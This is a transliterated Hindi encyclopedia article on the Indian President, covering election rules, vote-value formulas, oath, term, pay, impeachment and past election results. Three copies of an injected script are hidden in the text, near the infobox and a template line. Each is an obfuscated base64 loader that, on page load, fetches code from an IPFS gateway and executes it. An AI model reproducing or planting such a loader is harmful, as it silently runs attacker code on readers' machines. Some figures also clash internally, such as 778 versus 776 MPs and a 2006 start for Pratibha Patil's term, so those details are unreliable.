राष्ट्रपति

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search


rashtrapati
vivaran 'rashtrapati' bharat ganarajy ke karyapalak adhyaksh hote haian. sangh ke sabhi karyapalak kary unake nam se kiye jate haian. anuchchhed 52 ke anusar sangh ki karyapalak shakti unamean nihit haian. vah bharatiy sashastr senaoan ke sarvochch senanayak hote haian.
sambodhan mahamahim
nivas sthan rashtrapati bhavan
kary kal paanch varsh (punah nirvachan yogy)
pratham rashtrapati d aau. rajeandr prasad
dharak 26 janavari, 1950
vartaman rashtrapati draupadi murmoo
vishesh bharat ke rashtrapati sabhi prakar ke apatakal lagane v hatane vale, yuddh/shaanti ki ghoshana karane vale, desh ke pratham nagarik hote haian. kisi ke mrityudand ko kshamadan mean badalane ki shakti bhi sanvidhan ne unhean pradan ki hai.
sanbandhit lekh bharat ke mukhy nyayadhish, bharat ke pradhanamantri, bharat sarakar
any janakari anuchchhed 54 ke anusar rashtrapati ka nirvachan aise nirvachak mandal ke dvara kiya jaega, jisamean sansad (lokasabha tatha rajyasabha) tatha rajy vidhan sabhaoan ke nirvachit sadasy shamil hoange. rashtrapati ke nirvachak mandal mean sansad ke manonit sadasy, rajy vidhan sabhaoan ke manonit sadasy tatha rajy vidhan parishadoan ke sadasy shamil nahian kiye jate.
adyatan‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharatiy sanvidhan par briten ke sanvidhan ka vyapak prabhav hai. briten ke sanvidhan ka anukaran karate hue bharat mean sanvidhan dvara sansadiy shasan ki sthapana ki gayi hai. jis tarah briten mean shasan ki pramukh vahaan ki samrajni hoti hai, usi prakar se bharat mean rajy ka pramukh rashtrapati hota hai. briten ki samrajni ki tarah bharat ka rashtrapati rajy ka aupacharik pramukh hota hai aur sangh ki vastavik shakti sangh mantrimandal mean nihit hoti hai. in donoan deshoan ke pramukhoan mean moolabhoot antar yah hai ki briten ki samrajni ka pad vanshanugat hota hai, jabaki bharat ka rashtrapati ek nirvachit mandal dvara nirvachit kiya jata hai. isi antar ke karan bharat ko prajataantrik ganatantr kaha jata hai. bharat mean rashtrapati ka pad sanvidhan ke anuchchhed 52 dvara upabandhit hai.

bharat ke rashtrapati

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat ke rashtrapati rashtr pramukh aur bharat ke pratham nagarik haian, sath hi bharatiy sashastr senaoan ke pramukh senapati bhi haian. rashtrapati ke pas paryapt shakti hoti hai par kuchh apavadoan ke alava rashtrapati ke pad mean nihit adhikaansh adhikar vastav mean pradhanamantri ki adhyakshata vale mantriparishad ke dvara upayog kie jate haian. bharat ke rashtrapati nee dilli sthit rashtrapati bhavan mean rahate haian, jise rayasina hil ke nam se bhi jana jata hai. rashtrapati adhikatam do karyakal tak hi pad par rah sakate haian. ab tak keval pahale rashtrapati d aau. rajeandr prasad ne hi is pad par do karyakal poora kiye haian. mahamahim pratibha patil bharat ki 12vian tatha is pad ko sushobhit karane vali pahali mahila rashtrapati haian. unhoanne 25 julaee, 2007 ko pad v gopaniyata ki shapath li thi.

pad ki yogyata

sanvidhan ke anuchchhed 58 ke anusar koee bhi vyakti rashtrapati hone ke yogy tab hoga, jab vah–

  1. bharat ka nagarik ho.
  2. paiantis varsh ki ayu poori kar chuka ho.
  3. lokasabha ka sadasy nirvachit kiye jane ke yogy ho, tatha
  4. bharat sarakar ke ya kisi rajy sarakar ke adhin athava in donoan sarakaroan mean se kisi ke niyantran mean kisi sthaniy ya any pradhikari ke adhin labh ka pad n dharan karata ho. yadi koee vyakti rashtrapati ya uparashtrapati ke pad par ya sangh athava kisi rajy ke mantriparishad ka sadasy ho, to yah nahian mana jaega ki vah labh ke pad par hai.

nirvachan

rashtrapati ka chunav 'apratyaksh nirvachan' ke dvara kiya jata hai. rashtrapati pad ke nirvachan mean abhyarthi hone ke lie avashyak hai ki koee vyakti nirvachan ke lie apana namaankan karate samay 15,000 rupaye ki dharohar (zamanat dhanarashi) nirvachan adhikari ke samaksh jama kare aur usake namaankan patr ka prastav kam se kam 50 matadataoan ke dvara kiya jana chahie tatha kam se kam 50 matadataoan dvara usake namaankan patr ka samarthan bhi kiya jana chahie.

  1. REDIRECTsaancha:inhean bhi dekhean

nirvachak mandal

anuchchhed 54 ke anusar rashtrapati ka nirvachan aise nirvachak mandal ke dvara kiya jaega, jisamean sansad (lokasabha tatha rajyasabha) tatha rajy vidhan sabhaoan ke nirvachit sadasy shamil hoange. rashtrapati ke nirvachak mandal mean sansad ke manonit sadasy, rajy vidhan sabhaoan ke manonit sadasy tatha rajy vidhan parishadoan ke sadasy (nirvachit evan manonit donoan) shamil nahian kiye jate. sangh rajy kshetroan ki vidhanasabhaoan ke sadasyoan ko bhi 70vean sanvidhan sanshodhan ke poorv rashtrapati ke nirvachak mandal mean shamil nahian kiya jata tha lekin 70vean sanvidhan sanshodhan dvara yah vyavastha kar di gayi hai ki do sangh rajy kshetroan, yatha pandicheri tatha rashtriy rajadhani rajyakshetr dilli ki vidhanasabhaoan ke sadasy rashtrapati ke nirvachak mandal mean shamil kiye jayeange. yahaan par yah ullekhaniy hai ki keval in donoan sangh rajy kshetroan mean hi vidhanasabha ka gathan hua hai.

  1. REDIRECTsaancha:inhean bhi dekhean

rashtrapati ke chunav par prabhav

sanvidhan sabha mean rashtrapati ke nirvachan prakriya par vichar karate samay yah dhyan nahian diya gaya tha ki nirvachak mandal mean se koee sthan rikt ho to rashtrapati ka chunav kaise hoga? 1957 mean jab rashtrapati ka chunav kiya gaya to nirvachak mandal mean kuchh sthan khali the. isalie rashtrapati ke chunav ko is adhar par chunauti di gee ki nirvachak mandal mean sthan rikt hone ke karan rashtrapati ka chunav avaidh hai. bad mean 1961 mean gyaharavaan sanvidhan sanshodhan ke tahat yah vyavastha ki gayi ki nirvachak mandal mean sthan rikt hote hue bhi rashtrapati ka chunav kaise karaya ja sakata hai.

nirvachan ki paddhati

rashtrapati ke nirvachan paddhati ke sambandh mean sanvidhan ke anuchchhed 55 mean pravadhan kiya gaya hai, jisake anusar rashtrapati ke nirvachan mean do siddhantoan ko apanaya jata hai–

samaroopata tatha samatulyata

is siddhant, jo anuchchhed 55 ke khand (1) tatha (2) varnit haian, ke anusar rajyoan ke pratinidhitv ke mapaman mean ekaroopata tatha sabhi rajyoan aur sangh ke pratinidhitv mean samatulyata hogi. is siddhant ka tatpary yah hai ki sabhi rajyoan ki vidhanasabhaoan ka pratinidhitv ka man nikalane ke lie ek hi prakriya apanayi jaegi tatha sabhi rajyoan ki vidhanasabhaoan ke sadasyoan ke mat mooly ka yog sansad ke sabhi sadasy ke mat mooly ke yog ke samatuly arthath saman hoga. rajyoan ki vidhanasabhaoan ke sadasyoan ke matamooly tatha sansad ke sadasyoan ke matamooly ko nirdharit karane ke lie nimnalikhit prakriya apanayi jaegi.

vidhanasabha ke sadasy ke mat mooly ka nirdharan

pratyek rajy ki vidhanasabha ke sadasy ke matoan ki sankhya nikalane ke lie us rajy ki kul janasankhya (jo pichhali janaganana ke anusar nirdharit hai) ko rajy vidhanasabha ki kul nirvachit sadasy sankhya se vibhajit karake bhagaphal ko 1000 se vibhajit kiya jata hai. is prakar bhajanaphal ko ek sadasy ka mat mooly man lete haian. yadi ukt vibhajan ke parinamasvaroop shesh sankhya 500 se adhik aye, to pratyek sadasy ke matoan ki sankhya mean ek aur jo d diya jata hai. rajy vidhan sabha ke sadasyoan ka mooly nimn prakar nikala jata hai–

rajy ki vidhanasabha ke ek sadasy ka mat mooly = rajy ki kul janasankhya / rajy vidhanasabha ke nirvachit X 1 / 1000 sadasyoan ki kul sankhya

sansad sadasy ke mat mooly ka nirdharan

sansad sadasy ka mat mooly nirdharit karane ke lie rajyoan ki vidhanasabhaoan ke sadasyoan ke mat moolyoan ko jo dakar sansad ke donoan sadanoan ke nirvachit sadasyoan ke yog ka bhag diya jata hai. sansad sadasy ka mat mooly nimn prakar nikala jata hai–

sansad sadasy ka mat mooly = kul rajy vidhan sabhaoan ke nirvachit sadasyoan ke mat moolyoan ka yog / sansad ke donoan sadanoan ke nirvachit sadasyoan ka yog

is prakar rashtrapati ke chunav mean yah dhyan rakha jata hai ki sabhi rajy vidhan sabhaoan ke nirvachit sadasyoan ke matoan ke mooly ka yog sansad ke nirvachit sadasyoan ke matoan ke mooly ka yog barabar rahe aur sabhi rajyoan ki vidhan sabhaoan ke nirvachit sadasyoan ke mat mooly ka nirdharan karane ke lie ek saman prakriya apanayi jae. ise anupatik pratinidhitv ka siddhant bhi kahate haian.

ekal sankramaniy siddhant

is siddhant ka tatpary hai ki yadi nirvachan mean ek se adhik ummidavar hoan, to matadataoan dvara matadan variyata kram se diya jae. isaka ashay yah hai ki matadata matadan patr mean ummidavaroan ke nam ya chunav chihn ke samaksh apana variyata kram likhega.

mataganana

rashtrapati ke chunav ke bad usi vyakti ko nirvachit ghoshit kiya jata hai, jo dale gaye kul vaidh matoan mean se adhe se adhik mat prapt kare. jab rashtrapati ke nirvachan ke bad matoan ki ganana prarambh hoti hai, to sarvapratham avaidh matapatroan ko nirast karake shesh vaidh mat patroan ka mat mooly nikala jata hai aur nikale ge mat mooly mean 2 ka bhag dekar bhagaphal mean ek jo dakar nirvachit ghoshit kiye jane vale ummidavar ka kota nikala jata hai. yadi mataganana ke pratham daur mean kisi ummidavar ko niyat kiye gaye kota ke barabar mat mooly prapt ho jata hai, to use nirvachit ghoshit kar diya jata hai. yadi kisi ummidavar ko niyam kota ke barabar mat mooly nahian prapt hota hai, to mataganana ka doosara daur prarambh hota hai. doosare daur ke mataganana mean jis ummidavar ko pratham variyata ka sabase kam mat mila hota hai, usako ganana se bahar karake usake dvitiy variyata ke mat mooly ko any ummidavaroan ko sthanantarit kar diya jata hai. yadi dvitiy daur ki ganana mean bhi kisi ummidavar ko niyat kiye gaye kota ke barabar mat mooly nahian prapt hota hai, to tisare daur ki ganana hoti hai. tisare daur ki ganana mean us ummidavar ko ganana se bahar kar diya jata hai, jo ki doosare daur ki ganana mean sabase kam mooly pata hai aur is ummidavar ke tritiy variyata mat mooly ko shesh ummidavaroan ke paksh mean sthanantarit kar diya jata hai. yah prakriya tab tak apanayi jati hai, jab tak ki kisi ummidavar ko niyat kiye gaye kota ke mat mooly ke barabar mat mooly prapt nahian ho jata hai.

bharat mean rashtrapati ka chunav

thumb|bharat mean rashtrapati chunav ka tariqa bharat mean ab tak 14 vyakti rashtrapati ka pad grahan kar chuke haian, jinamean se pratham rashtrapati d aau. rajeandr prasad ne 2 bar is pad ko sushobhit kiya hai. rashtrapati ki padavadhi 5 varsh ki hoti hai. lekin rajendr prasad 10 varsh se adhik ki avadhi tak rashtrapati ka pad dharan kiye tha. isaka karan yah tha ki 1952 mean rashtrapati ke pratham chunav ke poorv hi 24 janavari, 1950 ko sanvidhan sabha ke dvara rashtrapati ke roop mean d aau. rajeandr prasad ka chunav kar liya gaya tha. sanvidhan ke pravartan ki tithi arthath 26 janavari, 1950 se lekar 12 mee, 1952 tak rajendr prasad rashtrapati ke pad par rahe.

bharat mean ab tak 15 bar rashtrapati ke chunav hue haian, jinamean se ek bar, arthath 1977 mean, nilam sanjiv reddi nirvirodh rashtrapati chune gaye the. shesh 14 bar rashtrapati pad ke chunav mean ek se adhik ummidavar the. ab tak keval d aau. rajeandr prasad, fakharuddin ali ahamad, nilam sanjiv reddi tatha jnani zail sianh ko chho dakar any sabhi rashtrapati poorv mean uparashtrapati ke pad ko sushobhit kar chuke the. d aau. es. radhakrishnan lagatar do bar uparashtrapati tatha ek bar rashtrapati ke pad par asin hue. nirdaliy ummidavar ke roop mean vi.vi. giri aise rashtrapati nirvachit hue the, jinhoanne kaangres ka spasht bahumat hote hue bhi usake ummidavar ko parajit kiya tha. ab tak nilam sanjiv reddi ekamatr aise rashtrapati hue haian, jo ek bar chunav mean parajit hue tatha bad mean nirvirodh nirvachit hue.

matadan sthal

rashtrapati ke chunav mean rajy vidhan sabhaoan ke sadasy apane-apane rajyoan ki rajadhaniyoan mean matadan karate haian aur sansad sadasy dilli mean ya apane rajy ki rajadhani mean matadan kar sakate haian. yadi koee sansad sadasy apane rajy ki rajadhani mean matadan karana chahata hai to use isaki soochana 10 din poorv hi chunav ayog ka deni chahie.

chunav ka samay

sanvidhan ke anuchchhed 62 mean keval yah apeksha ki gee hai ki rashtrapati ka chunav nirdharit samay ke andar sampann kara liya jana chahie. nirvachan ki prakriya ko paanch varsh ki avadhi samapt ho jane ke bad sthagit nahian rakha ja sakata hai. rashtrapati ka chunav kab karaya jaega, isake sambandh mean sanvidhan mean koee pravadhan nahian kiya gaya hai. sanvidhan mean anuchchhed 71 (3) mean keval yah pravadhan kiya gaya hai ki rashtrapati ke nirvachan se sambandhit ya sansakt kisi vishay ka viniyaman sansad vidhi dvara kar sakegi. is shakti ka prayog karake sansad ne rashtrapatiy tatha uparashtrapatiy nirvachan adhiniyam, 1952 parit karake yah pravadhan kiya hai ki rashtrapati ka chunav nivartaman rashtrapati ki padavadhi ki samapti ke poorv hi karaya jana chahie.

kisi rajy ki vidhanasabha bhang hone ki sthiti mean rashtrapati chunav

kisi rajy ki vidhanasabha bhang hone ki sthiti mean bhi rashtrapati ka chunav sampann hota hai. is sandarbh mean 11vean sanvidhan sanshodhan adhiniyam, 1961 mean yah spasht kiya gaya hai ki rashtrapati ke chunav ko is adhar par chunauti nahian di ja sakati ki nirvachak mandal mean koee sthan rikt tha. sarvochch nyayalay ne bhi yah nirnay diya hai ki bina kisi vidhanasabha ke hi rashtrapati ka chunav karaya ja sakata hai.

rashtrapati chunav mean ek vidhayak ke mat ka mooly

mat dalane vale saansadoan aur vidhayakoan ke mat ka mooly alag-alag hota hai. do rajyoan ke vidhayakoan ke mat ka mooly bhi alag hota hai. yah mat mooly jis tarah tay kiya jata hai, use anupatik pratinidhitv vyavastha kahate haian.

vidhayak ke mat ka mooly

vidhayak ke mamale mean jis rajy ka vidhayak ho, us rajy ki abadi dekhi jati hai. isake sath us rajy ke vidhanasabha sadasyoan ki sankhya ko bhi dhyan mean rakha jata hai. mat mooly nikalane ke lie rajy ki janasankhya ko nirvachit vidhayak ki sankhya se bhag diya jata hai. is tarah jo nanbar milata hai, use phir 1000 se bhag diya jata hai. ab jo aank da hath lagata hai, vahi us rajy ke ek vidhayak ke vot ka mooly hota hai. 1000 se bhag dene par agar shesh 500 se jyada ho to mat mooly mean 1 jo d diya jata hai.

ek vidhayak ke mat ke mooly ka pharmoola = rajy ki kul janasankhya / rajy vidhanasabha ke nirvachit vidhayakoan ki sankhya / 1000

ek saansad ke mat ka mooly

saansadoan ke matoan ke mooly ka ganit alag hai. sabase pahale sabhi rajyoan ki vidhanasabhaoan ke nirvachit sadasy ke votoan ka mooly jo da jata hai. ab is samoohik mooly ko rajyasabha aur lokasabha ke nirvachit sadasy ki kul sankhya se bhag kiya jata hai. is tarah jo nanbar milata hai, vah ek saansad ke vot ka mooly hota hai. agar is tarah bhag dene par shesh 0.5 se jyada bachata ho to mooly mean ek ka ijapha ho jata hai.

  • rajy ke kul nirvachit vidhayakoan ke matoan ka mooly = 5,49,474
  • lokasabha ke kul nirvachit sadasyoan ki sankhya = 543
  • rajyasabha ke kul nirvachit sadasyoan ki sankhya = 233
  • kul saansadoan ki sankhya = 543+233 = 776

ek saansad ke mat ke mooly ka pharmoola = rajy ke kul matoan ka mooly yani 5,49,474 / kul saansadoan ki sankhya yani 778 = 708.085 yani 708

saansadoan ke kul matoan ka mooly, 708×776 = 5,49,408

varsh 2002 ke rashtrapati chunav mean bhag lene vale kul matadataoan ki sankhya = kul vidhayak (4120) + kul saansad (776) = 4896

sabhi matadataoan ke kul matoan ka mooly = 5,49,474+5,49,408 = 10,98,882[1]

sambandhit vivad ka vinishchay

anuchchhed 7 ke anusar rashtrapati ke chunav se sambandhit vivad ka vinishchay uchchatam nyayalay dvara kiya jaega. yadi koee vyakti rashtrapati ke roop mean nirvachit hokar pad grahan kar leta hai aur bad mean usaka chunav uchchatam nyayalay dvara avaidh ghoshit kiya jata hai, to rashtrapati ke pad par rahate hue bhi usake dvara kiya gaya kary ya ki gayi ghoshana avidhimany nahian hogi.

punanirvachan ke lie yogyata

anuchchhed 57 ke anusar bharat ke rashtrapati pad par padasth vyakti doosare karyakal ke lie bhi chunav mean ummidavar ban sakata hai. vaise sanvidhan mean yah vyavastha nahian ki gayi hai ki rashtrapati pad par padasth vyakti doosare karyakal ke lie nirvachan mean bhag le sakata hai ya nahian, lekin samanyat: yah parampara ban gayi hai ki rashtrapati pad ke lie koee vyakti ek hi bar nirvachit kiya jata hai. isaka apavad rajendr prasad rahe haian, jo do bar rashtrapati pad ke ummidavar the. isake atirikt do rashtrapati zakir husain tatha fakharuddin ali ahamad, jinaki karyakal ke dauran hi mrityu ho gee thi, ke sivay sabhi rashtrapati apane ek karyakal ke bad doosari bar rashtrapati ke chunav mean ummidavar nahian bane.

rashtrapati pad ka chunav tatha vijayi evan dvitiy sthan prapt ummidavaroan ki soochi
kr.san. (varsh) nirvachit pratyashi dvitiy sthan prapt pratyashi mat pratishat chitr
pahala (1952) d aau. rajendr prasad ke. ti. shah 83.80 30px
doosara (1957) d aau. rajendr prasad en. en. das 99.30 30px
tisara (1962) d aau. radhakrishnan si. ech. ram 98.30 30px
chautha (1967) d aau. zakir husain ke. subbarav 56.20 30px
paanchavaan (1969) varahagiri veankat giri nilam sanjiv reddi 50.20 30px
chhatha (1974) fakharuddin ali ahamad ti. chaudhari 80.20 30px
satavaan (1977) nilam sanjiv reddi nirvirodh 30px
athavaan (1982) jnani zail sianh ech. ar. khanna 72.70 30px
navaan (1987) ar. veankitaraman ayyar vi. ar. krishna 72.30 30px
dasavaan (1992) d aau. shankaradayal sharma ji. ji. svel 64.78 30px
gyarahavaan (1997) ke. ar. narayanan ti. en. sheshan 94.70 30px
barahavaan (2002) d aauktar e. pi. je. abdul kalam kaiptan lakshmi sahagal 89.98 30px
terahavaan (2007) pratibha devi sianh patil bhairosianh shekhabat 65.82 30px
chaudahavaan (2012) pranav mukharji pi. e. sangama 69.31 30px
pandrahavaan (2017) ramanath koviand mira kumar 65.66 30px
solahavaan (2022) draupadi murmoo yashavant sinha 64.00 30px

rashtrapati ke dvara shapath

rashtrapati ya koee vyakti, jo kisi karan se rashtrapati ke krityoan ke nirvahan ke lie niyukt hota hai, apana pad grahan karane ke poorv anuchchhed 60 ke tahat bharat ke mukhy nyayadhish ya usaki anupasthiti mean uchchatam nyayalay mean upalabdh varishthatam nyayadhish ke samaksh apane pad ke karyapalan ki shapath leta hai. rashtrapati ke shapath patr ka praroop nimnalikhit roop mean hota hai–

maian, amuk eeshvar ki shapath leta hooan saty nishtha se pratijnan karata hooan ki maian shraddhapoorvak bharat ke rashtrapati ke pad ka karyapalan (athava rashtrapati ke krityoan ka nirvahan) karooanga tatha apani poori yogyata se sanvidhan aur vidhi ka parirakshan, sanrakshan aur pratirakshan karooanga aur maian bharat ki janata ki seva aur kalyan mean nirat rahooanga.

rashtrapati dvara liya jane vala shapath ya pratijnan uparashtrapati evan pradhanamantri ke shapath se is mamale mean bhinn hai ki rashtrapati sanvidhan aur vidhi ke parirakshan, sanrakshan aur pratirakshan ka shapath leta hai.

rashtrapati ki padavadhi

anuchchhed 56 ke anusar rashtrapati apane padagrahan ki tithi se paanch varsh ki avadhi tak apane pad par bana rahata hai, lekin is paanch varsh ki avadhi ke poorv bhi vah uparashtrapati ko apana tyagapatr de sakata hai ya use paanch varsh ki avadhi ke poorv sanvidhan ke ullanghan ke lie sansad dvara lagaye gaye mahabhiyog dvara hataya ja sakata hai. rashtrapati dvara uparashtrapati ko sambodhit tyagapatr ki soochana usake dvara (uparashtrapati ke dvara) lokasabha ke adhyaksh ko avilamb di jati hai. rashtrapati apane paanch varsh ke karyakal ke poora karane ke bad bhi tab tak rashtrapati ke pad par bana rahata hai, jab tak usaka uttaradhikari pad grahan nahian kar leta hai.

bharatiy sanvidhan mean pravadhan kiya gaya hai ki rashtrapati ke pad mean akasmik rikti ke dauran ya usaki anupasthiti mean uparashtrapati, rashtrapati ke pad ke karyoan ka nirvahan karega aur rashtrapati tatha uparashtrapati donoan ke pad mean akasmik rikti ke dauran ya donoan ki anupasthiti mean bharat ka mukhy nyayadhish rashtrapati ke pad ke krityoan ka nirvahan karega. isi karan jab 3 mee, 1969 ko tatkalin rashtrapati zakir husain ki mrityu huee, tab tatkalin uparashtrapati vi॰ vi॰ giri karyakari rashtrapati niyukt kiye gaye lekin unhoanne rashtrapati pad ke chunav mean ummidavar hone ke lie apane pad se tyagapatr de diya tha. tab bharat ke tatkalin mukhy nyayadhish nyayamoorti mohammad hidayatulla ne rashtrapati ke pad ka nirvahan tab tak kiya, jab tak nirvachit hokar vi॰ vi॰ giri ne rashtrapati pad ka karyabhar grahan nahian kar liya. ab tak tin uparashtrapati vi॰ vi॰ giri (rashtrapati jakir husain ki mrityu ke karan), bi.di. jatti (rashtrapati fakharuddin ali ahamad ki mrityu ke karan), tatha mohammad hidayatulla (rashtrapati jnani zel sianh ki anupasthiti ke karan) aur ek mukhy nyayadhish nyayamoorti mohammad hidayatulla rashtrapati ke pad ke krityoan ka nirvahan kar chuke haian.

bharat ke rashtrapati evan unaka karyakal

bharat ke rashtrapati pad ke krityoan ka nirvahan karane vale vyakti
kr.san. nam karyakal
d aau. rajendr prasad 26 janavari, 1950 se 13 mee, 1962
d aau. radhakrishnan 13 mee, 1962 se 13 mee, 1967
d aau. zakir husain 15 mee, 1967 se 3 mee, 1969

(karyakal mean hi mrityu)

varahagiri veankat giri

(uparashtrapati)

3 mee, 1969 se 20 julaee, 1969

(karyavahak)

nyayamoorti em॰ hidayatulla

(bharat ke mukhy nyayadhish)

20 julaee, 1969 se 24 agast, 1969

(karyavahak)

varahagiri veankat giri 24 agast, 1969 se 24 agast, 1974
fakharuddin ali ahamad 24 agast, 1974 se 11 faravari, 1977

(karyakal mean hi mrityu)

bi.di. jatti (uparashtrapati) 11 faravari, 1977 se 25 julaee, 1977

(karyavahak)

nilam sanjiv reddi 25 julaee, 1977 se 25 julaee, 1982
jnani zail sianh 25 julaee, 1982 se 25 julaee, 1987
em॰ hidayatulla (uparashtrapati) 6 aktoobar, 1982 se 31 aktoobar, 1982

(jab rashtrapati anupasthit the)

ramasvami veankataraman 25 julaee, 1987 se 25 julaee, 1992
d aau. shankar dayal sharma 25 julaee, 1992 se 25 julaee, 1997
ke. ar. narayanan 25 julaee, 1997 se 25 julaee, 2002
d aau. e॰ pi॰ je॰ abdul kalam 25 julaee, 2002 se 25 julaee, 2007
pratibha patil 25 julaee, 2006 se 25 julaee, 2012
pranav mukharji 25 julaee, 2012 se 25 julaee, 2017
ramanath koviand 25 julaee, 2017 se 25 julaee, 2022
draupadi murmoo 25 julaee, 2022 se padasth
vibhinn chunavoan mean rashtrapati pad ke ummidavaroan ko mile mat
ummidavar prapt mat
pratham chunav- 2 mee, 1952
d aau. rajendr prasad 5,07,400
ke. ti. shah 92,827
lakshman ganesh thate 2,672
chaudhari hari ram 1,954
krishna kumar chatarji 533
dvitiy chunav- 6 mee, 1957
d aau. rajendr prasad 4,59,698
nagendr narayan das 2000
chaudhari hari ram 1498
tritiy chunav- 7 mee, 1962
d aau. sarvapalli radhakrishnan 5,53,067
chaudhari hari ram 6,341
yamuna prasad trishuliya 3,537
chautha chunav- 6 mee, 1967
d aau. jakir husain 4,71,244
koka subbaray 3,63,971
khubi ram 1369
yamuna prasad trishuliya 750
bhamburakar shrinivas gopal 232
brahm dev 232
krishna kumar chatarji 125
kumar kamala sianh 125
paanchavaan chunav- 16 agast, 1969
vi. vi. giri 4,01,515
nilam sanjiv reddi 3,13,548
si. di. deshamukh 1,12,769
chandradatt senani 5,814
gurucharan kaur 940
rajabhoj paandurang nathooji 831
pan baboolal bhag 576
manobihari aniruddh sharma 125
chaudhari hari ram 125
khoobi ram 94
chhatha chunav- 17 agast, 1974
fakharuddin ali ahamad 7,65,587
tridiv chaudhari 1,89,196
satavaan chunav- 6 agast, 1977
nilam sanjiv reddi nirvirodh nirvachan
athavaan chunav, 12 julaee, 1982
jnani jail sianh 7,54,113
hans raj khanna 2,82,685
navaan chunav- 13 julaee, 1987
ramasvami veankataraman 7,40,148
krishna ayyar rama ayyar 2,81,550
mithalesh kumar 2,223
dasavaan chunav- 13 julaee, 1992
d aau. shankar dayal sharma 6,75,864
pro. ji. ji. svel 3,46,485
ram jethamalani 2,704
jogendr sianh urph dharati pak d 1,135
gyaharavaan chunav- 14 julaee, 1997
ke. ar. narayanan 9,56,290
ti. en. sheshan 50,631
barahavaan chunav- 15 julaee, 2002'
d aau. abdul kalam 9,22,884
kaiptan lakshmi sahagal 1,07,366
terahavaan chunav- 19 julaee, 2007
pratibha patil 6,38,116
bhairosianh shekhavat 3,31,306
chaudahavaan chunav- 22 julaee, 2012
pranav mukharji 7,13,937
pi. e. sangama 315,987
padrahavaan chunav- 20 julaee, 2017
ramanath koviand 7,02,044
mira kumar 3,67,314
solahavaan chunav- 21 julaee, 2022
draupadi murmoo 6,76,803
yashavant sinha 3,80,177

vetan aur bhatte

rashtrapati ko ni:shulk shasakiy nivas upalabdh hota hai. vah aisi parilabdhiyoan, bhattoan aur visheshadhikaroan ka haqadar hota hai, jo sansad vidhi ke dvara avadharit karean aur jab tak sansad aisi vidhi parit nahian karati hai unaki parilabdhiyaan ya bhatte vahi hogean jo sanvidhan ki doosari anusoochi mean vinirdisht haian. 1990 mean rashtrapati ki parilabdhiyaan badhakar 20,000 rupaye, 4 agast, 1998 ko ise badhakar 50,000 rupaye aur 10 janavari, 2008 ko rashtrapati ki parilabdhiyoan mean ek bar phir pun: sanshodhan karate hue ise badhakar 1.50 lakh rupaye prati mah kar diya gaya. yah vriddhi janavari, 2006 se prabhavi ki gee hai. rashtrapati ko pad tyag dene ke pashchath ya padavadhi samapti par unake vetan ka 50 pratishat peanshan ka pravadhan hai. is prakar pad vimukti ke pashchath poorv rashtrapati ko 9,00,000 rupaye varshik peanshan dey hai.

poorv rashtrapati ko ek atirikt niji sachiv ke alava ek karmachari ki bhi suvidha ka pravadhan hai. unhean mobail fon, iantaranet aur bradabaiand ka kanekshan bhi upalabdh karaya jaega. unake karyalay ke rakh-rakhav par poorv mean 12 hazar rupaye varshik kharch ka pravadhan tha, jise badhakar ab 60,000 rupaye kar diya gaya hai. padavadhi ke dauran rashtrapati ki mrityu ho jane par use parivarik peanshan, susajjit avas, karmachari, kar, telifon, yatra aur svasthy suvidhaean upalabdh haian. sanvidhan ke anuchchhed 59 ke anusar rashtrapati ki parilabdhiyaan aur usake bhatte usake karyakal mean ghataye nahian ja sakate. rashtrapati ke vetan evan bhatte ko ayakar se chhoot prapt haian.

mahabhiyog ki prakriya

rashtrapati ko usake pad se anuchchhed 61 ke tahat mahabhiyog ki prakriya ke dvara hataya ja sakata hai. rashtrapati ke viruddh mahabhiyog ki prakriya tab sanchalit ki ja sakati hai, jab usane sanvidhan ke pravadhanoan ka ullanghan kiya ho. rashtrapati ke viruddh mahabhiyog chalane ka sankalp sansad ke kisi bhi sadan mean pesh kiya ja sakata hai, lekin jis sadan mean mahabhiyog ka sankalp pesh kiya jana ho, usake ek chauthaee sadasyoan ke dvara hastaksharit arop patr rashtrapati ko 14 din poorv diya jana avashyak hai. rashtrapati ko arop patr diye jane ke 14 din bad hi sadan mean mahabhiyog ka sankalp pesh kiya ja sakata hai. jis sadan mean sankalp pesh kiya jae, usake sadasy sankhya ke bahumat tatha upasthit aur matadan karane vale sadasyoan ke do tihaee bahumat se sankalp parit kiya jana chahie.

jis sadan mean sankalp pesh kiya gaya hai, usake dvara parit kiye jane ke bad sankalp doosare sadan ko bheja jaega aur doosara sadan rashtrapati par lagaye gaye aropoan ki jaanch karega. jab doosara sadan rashtrapati par lagaye gaye aropoan ki jaanch kar raha ho, tab rashtrapati ya to svayan ya to apane vakil ke madhyam se lagaye gaye aropoan ke sambandh mean apana paksh prastut karega aur spashtikaran dega. yadi doosara sadan rashtrapati par lagaye gaye aropoan ko sahi pata hai tatha apani sankhya ke bahumat se tatha upasthit aur matadan karane vale sadasyoan ke do tihaee bahumat pahale sadan dvara parit sankalp ka anumodan kar deta hai, to mahabhiyog ki karravaee poorn ho jati hai. is prakar rashtrapati apana pad tyag karane ke lie badhy ho jata hai.

rashtrapati bhavan

[[chitr:Rashtrapati-Bhavan-1.jpg|thumb|200px|rashtrapati bhavan, dilli
Rashtrapati Bhavan, Delhi]]

